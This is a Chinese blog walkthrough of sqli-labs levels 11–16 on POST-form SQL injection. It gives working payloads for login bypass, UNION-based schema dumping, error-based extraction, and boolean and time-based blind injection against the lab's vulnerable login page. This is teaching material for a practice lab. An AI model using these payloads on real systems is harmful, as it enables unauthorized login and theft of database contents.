sqli-labs-master【Less-11/12/13/14/15/16】

本文深入解析SQL注入攻击的原理及手法,通过实例演示了不同类型的SQL注入,包括GET和POST注入,以及如何利用构造payload绕过认证,进行数据库信息泄露。文章详细介绍了闭合方式、联合查询、数据库爆破等技巧。

Less-11

在这里插入图片描述
进入Less-11之后,可以看到是全新的关卡,是一个表单的形式,需要我们填入用户名和密码才可以提交,首先我们随便填入一个用户名和密码看页面会回显给我们什么内容?
在这里插入图片描述
我在这块用户名和密码都输入的是123,可以看到登陆尝试失败,不过这都不是重点,我们观察一下地址栏这块,我们提交的数据并没有体现在url中,说明11关是POST注入,那么什么是POST注入呢?就是数据从客户端提交到服务器端,例如我们在登录过程中,输入用户名和密码,用户名和密码以表单的形式提交,提交到服务器后服务器在进行验证,这就是post提交方式。

那么现在我们来思考如何进行注入呢?在POST过程中,我们输入的用户名和密码最后在后台处理的过程中依旧会形成一个sql语句,那么我们是不是也可以像GET型的一样通过构造payload来显示出我们想要的内容呢?

所以我们来尝试一下:

username栏输入:' or 1=1 #
password栏输入:不输入任何东西

在这里插入图片描述
提交之后显示登陆成功,并且爆出了用户名和密码;我们可以尝试猜一下后台执行的sql语句:

select username,password from users where username='$username' && password='$password' limit 0,1;
后台执行的数据库语句大概就是这样('◡'),所以当我们提交输入的内容时:
select username,password from users where username='' or 1=1 # && password='$password' limit o,1;
我们来分析一下这条语句,username被我们成功闭合,or 1=1使这条语句恒为真,用#注释掉后面password的内容,所以该条语句成功执行;

现在我们再来尝试一下用get注入中用到的其他语句来继续测试:

username:-1' union select database(),@@datadir #
password:不输入任何东西
注意:这块password可以不用输入任何东西是因为password在后台可能允许为空,所以在这块输不输数据都无所谓,并不会产生什么影响!

在这里插入图片描述
我们发现,是可以用union联合查询的,那么我们在来尝试爆库:

username:-1' union select group_concat(schema_name),null from information_schema.schemata #

在这里插入图片描述
爆出了所有的库名,Less-11就演示到这里;

Less-12

Less-12跟Less-11类似,只是闭合的方式不同,我们先来尝试闭合:

username:" or 1=1 #

在这里插入图片描述
登录失败并且报错,报错说明存在注入的可能,我们来仔细看一下这句错误,提示在"附近,则我们可以加上个括号再次进行尝试:

username:") or 1=1 #

在这里插入图片描述
加上括号之后,页面有数据回显,闭合成功;

Less-13

判断闭合:

username:') or 1=1 #

在这里插入图片描述
闭合成功,但是没有显示数据,所以Less-13可能没有显示位;所以我们要换一种思路,我们用报错注入来尝试一下:

1') AND(SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(DATABASE() AS CHAR),0x7e)) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE() LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) # 

在这里插入图片描述
库名出来了,所以我们可以采用报错注入的方法来爆破,除了这种方法之外,我们还可以用布尔盲注的方法:

') or (ord(substr(database(),1,1))>100) #

在这里插入图片描述

Less-14

" or (ord(substr(database(),1,1))>100) #
Less-14跟Less-13的区别也只是闭合方式的不同

在这里插入图片描述

Less-15

' or (ord(substr(database(),1,1))>100) #

在这里插入图片描述
其实Less-13、14、15三关都一样,只是闭合方式不同,还有一点区别就是Less-15就算是语法错误也不会报错。还有就是当我们知道用户名的时候,前后都为真,那么我们就可以使用sleep函数,根据页面响应时间来判断,此处用户名是admin,演示如下:

admin' and sleep(if(ord(substr(database(),1,1)>114),5,0)) #

在这里插入图片描述

Less-16

") or 1=1 #

在这里插入图片描述
闭合方式判断出来了;接下来的步骤跟之前的相同;

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值